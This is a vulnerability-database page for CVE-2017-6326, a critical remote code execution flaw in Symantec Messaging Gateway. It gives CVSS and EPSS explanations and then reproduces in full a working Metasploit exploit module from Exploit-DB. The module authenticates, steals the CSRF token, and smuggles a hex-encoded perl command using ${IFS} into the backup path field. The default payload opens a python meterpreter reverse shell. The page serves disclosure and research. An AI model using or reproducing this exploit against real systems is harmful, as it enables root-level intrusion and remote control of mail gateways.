CVE-2017-6326 : Detail

CVE-2017-6326

10
/
Critical
70.46%V4
Network
2017-06-26
19h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
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CVE Descriptions

The Symantec Messaging Gateway can encounter an issue of remote code execution, which describes a situation whereby an individual may obtain the ability to execute commands remotely on a target machine or in a target process.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 10 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42251

Publication date : 2017-06-25 22h00 +00:00
Author : Mehmet Ince
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Messaging Gateway Remote Code Execution", 'Description' => %q{ This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This module was tested against Symantec Messaging Gateway 10.6.2-7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'], ['CVE', '2017-6326'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => true, 'DisclosureDate' => "Apr 26 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def ssh_address datastore['SSH_ADDRESS'] end def ssh_port datastore['SSH_PORT'] end def ssh_username datastore['SSH_USERNAME'] end def ssh_password datastore['SSH_PASSWORD'] end def auth print_status("Performing authentication...") sid = '' last_login = '' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') }) if res && !res.get_cookies.empty? last_login = res.get_hidden_inputs.first['lastlogin'] || '' sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' else fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") end cookie = '' # Performing authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), 'headers' => { 'Referer' => "https://#{peer}/brightmail/viewLogin.do", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", 'vars_post' => { 'lastlogin' => last_login, 'userLocale' => '', 'lang' => 'en_US', 'username' => username, 'password' => password, 'loginBtn' => 'Login' } }) if res &&res.body =~ /Logged in/ cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] print_good("Awesome..! Authenticated with #{username}:#{password}") else fail_with(Failure::Unknown, 'Credentials are not valid.') end cookie end def get_csrf_token(cookie) print_status('Capturing CSRF token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'), 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", }) csrf_token = nil if res && res.code == 200 match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/) if match csrf_token = match[1] print_good("CSRF token is : #{csrf_token}") else fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') end else fail_with(Failure::Unknown, 'Something went wrong.') end csrf_token end def exploit cookie = auth csrf_token = get_csrf_token(cookie) # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted. # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys; # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :) # So we gonna execute a perl payload on server side which will execute our meterpreter python payload. cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" # Ok. We are ready to go send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'), 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", 'vars_post' => { 'pageReuseFor' => 'backup_now', 'id' => '', 'symantec.brightmail.key.TOKEN' => csrf_token, 'backupData' => 'full', 'customType' => 'configuration', 'includeIncidentMessages' => 'true', 'includeLogData' => 'true', 'backupTo' => '2', 'remoteBackupProtocol' => 'SCP', 'remoteBackupAddress' => ssh_address, 'remoteBackupPort' => ssh_port, 'remoteBackupPath' => "tmp$(#{p})", 'requiresRemoteAuthentication' => 'true', 'remoteBackupUsername' => ssh_username, 'remoteBackupPassword' => ssh_password, } }) end end

Products Mentioned

Configuraton 0

Symantec>>Messaging_gateway >> Version To (including) 10.6.3

References

http://www.securitytracker.com/id/1038785
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42251/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/98893
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.